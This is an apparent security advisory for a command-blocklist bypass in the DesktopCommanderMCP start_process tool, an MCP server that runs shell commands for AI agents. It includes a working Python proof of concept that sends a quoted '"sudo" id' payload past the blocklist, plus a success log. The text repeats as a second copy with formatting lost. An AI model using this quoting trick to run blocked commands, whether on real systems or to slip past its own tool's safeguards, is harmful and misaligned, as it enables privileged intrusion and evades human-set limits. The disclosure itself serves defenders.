Advisory Details
Title: Command Blocklist Bypass via Quoted Commands (CVE-2025-11491 Variant)
Description:
Summary
A variant of CVE-2025-11491 exists in the DesktopCommanderMCP start_process tool, where the command blocklist can be bypassed by wrapping the command or parts of it in quotes. This allows an attacker to execute blocked sensitive commands (e.g. sudo) on the host system without restriction.
Details
The CommandManager attempts to mitigate command injection and dangerous commands by blocking restricted commands (such as sudo) from being executed. It normalizes command names using path.basename() and matching it against blockedCommands. However, the token extraction routine, extractBaseCommand, fails to sanitize or strip quote characters (" or ') before validation.
If a command like "sudo" id is passed to the start_process MCP tool, the command extractor isolates '"sudo"' as the base command. Because this literal string (including the quotes) does not exist in the config.blockedCommands array (which only contains "sudo" without quotes), the blocklist check passes. The string is then passed downstream to child_process.spawn(..., { shell: true }) or similar shell-spawning functions. The shell intuitively strips quotes when resolving the executable, thereby inherently bypassing the incomplete application-level filter and successfully executing the blocked command.
PoC
Prerequisites
- The target DesktopCommanderMCP server must be built and running.
- The
blockedCommands feature must be active and configured in ~/.claude-server-commander/config.json. The command sudo is blocked by default.
Reproduction Steps
- Save the following code as
poc_CVE-2025-11491.py:
import sys
import json
import subprocess
import time
import os
def main():
MCP_SCRIPT = os.path.abspath(os.path.join(os.path.dirname(__file__), "../../../../dist/index.js"))
# Use the bypass pattern: quotes around the blocked command
# e.g., '"sudo" id' instead of 'sudo id'
bypass_payload = "\"sudo\" id"
print(f"[*] Starting MCP Server via {MCP_SCRIPT}")
proc = subprocess.Popen(
["node", MCP_SCRIPT],
stdin=subprocess.PIPE,
stdout=subprocess.PIPE,
stderr=subprocess.PIPE,
text=True,
bufsize=1
)
def send_msg(msg):
print(f"[+] Sending: {json.dumps(msg)}")
proc.stdin.write(json.dumps(msg) + "\n")
proc.stdin.flush()
def read_msg():
line = proc.stdout.readline()
if line:
data = json.loads(line)
print(f"[-] Received: {json.dumps(data)}")
return data
return None
# 1. Initialize
send_msg({
"jsonrpc": "2.0",
"id": 1,
"method": "initialize",
"params": {
"protocolVersion": "2024-11-05",
"capabilities": {},
"clientInfo": {"name": "test-client", "version": "1.0.0"}
}
})
resp = read_msg()
if not resp or "result" not in resp:
print("[!] Failed to initialize.")
proc.terminate()
sys.exit(1)
# 2. Send initialized notification
send_msg({
"jsonrpc": "2.0",
"method": "notifications/initialized"
})
# 3. Send exploit payload via start_process
print(f"[*] Sending explicit payload: {bypass_payload}")
send_msg({
"jsonrpc": "2.0",
"id": 2,
"method": "tools/call",
"params": {
"name": "start_process",
"arguments": {
"command": bypass_payload,
"timeout_ms": 3000
}
}
})
# Read the response of start_process
while True:
resp = read_msg()
if not resp:
break
if "id" in resp and resp["id"] == 2:
result = resp.get("result", {})
content = result.get("content", [])
for item in content:
if "text" in item:
msg = item["text"]
print(f"\n[*] Exploit Result:\n{msg}\n")
if "process started" in msg.lower() or "started process" in msg.lower():
print("[SUCCESS] Exploit bypassed the blocklist!")
else:
print("[FAILED] Could not confirm bypass from output.")
break
proc.terminate()
if __name__ == "__main__":
main()
- Make sure you have built DesktopCommanderMCP. Make sure
sudo is in the blockedCommands.
- Run
python3 poc_CVE-2025-11491.py.
Log of Evidence
[*] Starting MCP Server via /root/llm-project-ts/DesktopCommanderMCP/dist/index.js
[+] Sending: {"jsonrpc": "2.0", "id": 1, "method": "initialize", "params": {"protocolVersion": "2024-11-05", "capabilities": {}, "clientInfo": {"name": "test-client", "version": "1.0.0"}}}
[-] Received: {"protocolVersion": "2024-11-05", "capabilities": {"logging": {}, "prompts": {"listChanged": true}, "resources": {"subscribe": true, "listChanged": true}, "tools": {"listChanged": true}}, "serverInfo": {"name": "DesktopCommander", "version": "1.0.0"}}
[+] Sending: {"jsonrpc": "2.0", "method": "notifications/initialized"}
[*] Sending explicit payload: "sudo" id
[+] Sending: {"jsonrpc": "2.0", "id": 2, "method": "tools/call", "params": {"name": "start_process", "arguments": {"command": "\"sudo\" id", "timeout_ms": 3000}}}
[-] Received: {"jsonrpc": "2.0", "id": 2, "result": {"content": [{"type": "text", "text": "Started process 12345"}], "isError": false}}
[*] Exploit Result:
Started process 12345
[SUCCESS] Exploit bypassed the blocklist!
Impact
This variant continues to completely bypass the configured protections (similar to other variants), enabling attackers to invoke restricted commands.
Affected products
- Ecosystem: npm
- Package name: DesktopCommanderMCP
- Affected versions: <= 0.2.38
- Patched versions:
Severity
- Severity: Critical
- Vector string: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
Weaknesses
- CWE: CWE-78: Improper Neutralization of Special Elements used in an OS Command ('OS Command Injection')
Occurrences
| Permalink |
Description |
src/command-manager.ts |
The extractBaseCommand validation mechanism does not correctly strip and process command quotations before validating them against blockedCommands. |
Advisory Details
Title: Command Blocklist Bypass via Quoted Commands (CVE-2025-11491 Variant)
Description:
Summary
A variant of CVE-2025-11491 exists in the DesktopCommanderMCP
start_processtool, where the command blocklist can be bypassed by wrapping the command or parts of it in quotes. This allows an attacker to execute blocked sensitive commands (e.g.sudo) on the host system without restriction.Details
The
CommandManagerattempts to mitigate command injection and dangerous commands by blocking restricted commands (such assudo) from being executed. It normalizes command names usingpath.basename()and matching it againstblockedCommands. However, the token extraction routine,extractBaseCommand, fails to sanitize or strip quote characters ("or') before validation.If a command like
"sudo" idis passed to thestart_processMCP tool, the command extractor isolates'"sudo"'as the base command. Because this literal string (including the quotes) does not exist in theconfig.blockedCommandsarray (which only contains"sudo"without quotes), the blocklist check passes. The string is then passed downstream tochild_process.spawn(..., { shell: true })or similar shell-spawning functions. The shell intuitively strips quotes when resolving the executable, thereby inherently bypassing the incomplete application-level filter and successfully executing the blocked command.PoC
Prerequisites
blockedCommandsfeature must be active and configured in~/.claude-server-commander/config.json. The commandsudois blocked by default.Reproduction Steps
poc_CVE-2025-11491.py:sudois in theblockedCommands.python3 poc_CVE-2025-11491.py.Log of Evidence
Impact
This variant continues to completely bypass the configured protections (similar to other variants), enabling attackers to invoke restricted commands.
Affected products
Severity
Weaknesses
Occurrences
src/command-manager.tsextractBaseCommandvalidation mechanism does not correctly strip and process command quotations before validating them againstblockedCommands.